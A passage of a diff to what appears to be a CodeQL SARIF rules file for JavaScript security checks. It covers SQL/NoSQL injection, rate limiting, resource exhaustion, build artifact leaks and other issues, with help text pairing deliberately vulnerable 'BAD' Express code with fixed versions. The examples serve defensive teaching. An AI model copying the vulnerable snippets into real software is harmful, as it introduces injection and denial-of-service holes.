it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n if (typeof id !== \"string\") {\n res.status(400).json({ status: \"error\" });\n return;\n }\n await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n", + "markdown" : "# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // BAD: the category might have SQL special characters in it\n var query1 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n req.params.category +\n \"' ORDER BY PRICE\";\n pool.query(query1, [], function(err, results) {\n // process results\n });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // GOOD: use parameters\n var query2 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n pool.query(query2, [req.params.category], function(err, results) {\n // process results\n });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n SqlString = require('sqlstring'),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // GOOD: the category is escaped using mysql.escape\n var query1 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n SqlString.escape(req.params.category) +\n \"' ORDER BY PRICE\";\n pool.query(query1, [], function(err, results) {\n // process results\n });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n \"Todo\",\n new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n\n await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n if (typeof id !== \"string\") {\n res.status(400).json({ status: \"error\" });\n return;\n }\n await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-359", "external/cwe/cwe-532" ], - "description" : "Logging sensitive information without encryption or hashing can\n expose it to an attacker.", - "id" : "js/clear-text-logging", + "tags" : [ "security", "external/cwe/cwe-089", "external/cwe/cwe-090", "external/cwe/cwe-943" ], + "description" : "Building a database query from user-controlled sources is vulnerable to insertion of\n malicious code by the user.", + "id" : "js/sql-injection", "kind" : "path-problem", - "name" : "Clear-text logging of sensitive information", + "name" : "Database query built from user-controlled sources", "precision" : "high", "problem.severity" : "error", - "security-severity" : "7.5" + "security-severity" : "8.8" } }, { - "id" : "js/build-artifact-leak", - "name" : "js/build-artifact-leak", + "id" : "js/missing-rate-limiting", + "name" : "js/missing-rate-limiting", "shortDescription" : { - "text" : "Storage of sensitive information in build artifact" + "text" : "Missing rate limiting" }, "fullDescription" : { - "text" : "Including sensitive information in a build artifact can expose it to an attacker." + "text" : "An HTTP request handler that performs expensive operations without restricting the rate at which operations can be carried out is vulnerable to denial-of-service attacks." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n plugins: [\n new webpack.DefinePlugin({\n \"process.env\": JSON.stringify(process.env)\n })\n ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n plugins: [\n new webpack.DefinePlugin({\n 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n })\n ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n", - "markdown" : "# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n plugins: [\n new webpack.DefinePlugin({\n \"process.env\": JSON.stringify(process.env)\n })\n ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n plugins: [\n new webpack.DefinePlugin({\n 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n })\n ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n" + "text" : "# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n let path = req.params.path;\n if (isValidPath(path))\n res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n windowMs: 15 * 60 * 1000, // 15 minutes\n max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n let path = req.params.path;\n if (isValidPath(path))\n res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", + "markdown" : "# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n let path = req.params.path;\n if (isValidPath(path))\n res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n windowMs: 15 * 60 * 1000, // 15 minutes\n max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n let path = req.params.path;\n if (isValidPath(path))\n res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-315", "external/cwe/cwe-359" ], - "description" : "Including sensitive information in a build artifact can\n expose it to an attacker.", - "id" : "js/build-artifact-leak", - "kind" : "path-problem", - "name" : "Storage of sensitive information in build artifact", + "tags" : [ "security", "external/cwe/cwe-770", "external/cwe/cwe-307", "external/cwe/cwe-400" ], + "description" : "An HTTP request handler that performs expensive operations without\n restricting the rate at which operations can be carried out is vulnerable\n to denial-of-service attacks.", + "id" : "js/missing-rate-limiting", + "kind" : "problem", + "name" : "Missing rate limiting", "precision" : "high", - "problem.severity" : "error", + "problem.severity" : "warning", "security-severity" : "7.5" } }, { - "id" : "js/sql-injection", - "name" : "js/sql-injection", + "id" : "js/resource-exhaustion", + "name" : "js/resource-exhaustion", "shortDescription" : { - "text" : "Database query built from user-controlled sources" + "text" : "Resource exhaustion" }, "fullDescription" : { - "text" : "Building a database query from user-controlled sources is vulnerable to insertion of malicious code by the user." + "text" : "Allocating objects or timers with user-controlled sizes or durations can cause resource exhaustion." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // BAD: the category might have SQL special characters in it\n var query1 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n req.params.category +\n \"' ORDER BY PRICE\";\n pool.query(query1, [], function(err, results) {\n // process results\n });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // GOOD: use parameters\n var query2 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n pool.query(query2, [req.params.category], function(err, results) {\n // process results\n });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n SqlString = require('sqlstring'),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // GOOD: the category is escaped using mysql.escape\n var query1 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n SqlString.escape(req.params.category) +\n \"' ORDER BY PRICE\";\n pool.query(query1, [], function(err, results) {\n // process results\n });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n \"Todo\",\n new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n\n await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n if (typeof id !== \"string\") {\n res.status(400).json({ status: \"error\" });\n return;\n }\n await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n", - "markdown" : "# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // BAD: the category might have SQL special characters in it\n var query1 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n req.params.category +\n \"' ORDER BY PRICE\";\n pool.query(query1, [], function(err, results) {\n // process results\n });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // GOOD: use parameters\n var query2 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n pool.query(query2, [req.params.category], function(err, results) {\n // process results\n });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n pg = require(\"pg\"),\n SqlString = require('sqlstring'),\n pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n // GOOD: the category is escaped using mysql.escape\n var query1 =\n \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n SqlString.escape(req.params.category) +\n \"' ORDER BY PRICE\";\n pool.query(query1, [], function(err, results) {\n // process results\n });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n \"Todo\",\n new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n\n await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n let id = req.body.id;\n if (typeof id !== \"string\") {\n res.status(400).json({ status: \"error\" });\n return;\n }\n await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n" + "text" : "# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n", + "markdown" : "# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-089", "external/cwe/cwe-090", "external/cwe/cwe-943" ], - "description" : "Building a database query from user-controlled sources is vulnerable to insertion of\n malicious code by the user.", - "id" : "js/sql-injection", + "tags" : [ "security", "external/cwe/cwe-400", "external/cwe/cwe-770" ], + "description" : "Allocating objects or timers with user-controlled\n sizes or durations can cause resource exhaustion.", + "id" : "js/resource-exhaustion", "kind" : "path-problem", - "name" : "Database query built from user-controlled sources", + "name" : "Resource exhaustion", "precision" : "high", - "problem.severity" : "error", - "security-severity" : "8.8" + "problem.severity" : "warning", + "security-severity" : "7.5" } }, { - "id" : "js/angular/disabling-sce", - "name" : "js/angular/disabling-sce", + "id" : "js/redos", + "name" : "js/redos", "shortDescription" : { - "text" : "Disabling SCE" + "text" : "Inefficient regular expression" }, "fullDescription" : { - "text" : "Disabling strict contextual escaping (SCE) can cause security vulnerabilities." + "text" : "A regular expression that requires exponential time to match certain inputs can be a performance bottleneck, and may be vulnerable to denial-of-service attacks." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n .config(function($sceProvider) {\n $sceProvider.enabled(false); // BAD\n }).controller('controller', function($scope) {\n // ...\n $scope.html = '
  • ' + item.toString() + '
